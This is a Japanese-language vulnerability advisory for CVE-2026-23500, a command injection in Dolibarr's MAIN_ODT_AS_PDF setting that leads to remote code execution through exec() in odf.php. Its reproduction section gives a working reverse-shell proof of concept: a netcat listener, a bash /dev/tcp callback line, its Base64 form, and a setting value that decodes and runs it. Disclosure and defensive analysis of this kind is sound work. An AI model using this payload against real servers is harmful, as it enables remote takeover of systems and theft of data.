
CVE-2026-23500 - Dolibarr の MAIN_ODT_AS_PDF 設定を介した OS コマンドインジェクション(RCE)
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-23500 |
| 重要度 | CRITICAL |
| アドバイザリ | GHSA-w5j3-8fcr-h87w |
| 発見者 | Lukasz Rybak |
認証済みの管理者は、MAIN_ODT_AS_PDF 設定定数に悪意のあるペイロードを注入することで、任意の OS コマンドを実行できます。この脆弱性は、ODT から PDF への変換プロセスで、アプリケーションが exec() 関数に渡すコマンドパスを適切に検証またはエスケープしていないために発生します。
この脆弱性は htdocs/includes/odtphp/odf.php に存在します。
システムが ODT ドキュメントを PDF に変換しようとするとき (例: 提案書、請求書)、MAIN_ODT_AS_PDF グローバル設定を使用してシェルコマンドを構築します。
コードスニペット (htdocs/includes/odtphp/odf.php、約 930 行目):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
ファイル名 $name は escapeshellcmd() によってサニタイズされますが、設定変数 MAIN_ODT_AS_PDF はデータベースから直接取得され、文字列の先頭に連結されます。管理者権限を持つ攻撃者は、この変数にコマンドセパレータ (例: ;) とそれに続く任意のコマンドを含む値を設定できます。
前提条件:
再現手順 (リバースシェル):
172.26.0.1、ポート: 4445) で netcat リスナーを起動します:nc -lvnp 4445
ペイロードを準備します。特殊文字 (例: & や >) が Web アプリケーションやシェルによってエスケープされる問題を回避するため、リバースシェルコマンドを Base64 でエンコードします:
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
ホーム -> セットアップ -> その他の設定 に移動します。
定数 MAIN_ODT_AS_PDF を次のインジェクションペイロードで追加または変更します:
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(説明: jodconverter は最初のチェックを満たし、; はコマンドセパレータとして機能し、パイプラインが Base64 ペイロードをデコードして実行します)。
コマース -> 新しい提案 に移動し、下書きを作成して、ODT テンプレート (例: generic_proposal_odt) を選択し、生成 をクリックします。
リモートコード実行 (RCE)。
管理者アカウントへのアクセスを取得した攻撃者 (または悪意のある管理者) は、Web サーバーユーザー (通常は www-data) の権限で基盤となるサーバー上で任意のコマンドを実行できます。これにより、以下が可能になります:
Łukasz Rybak によって報告されました
この CVE は、協調的脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育および防御目的のみを意図しています。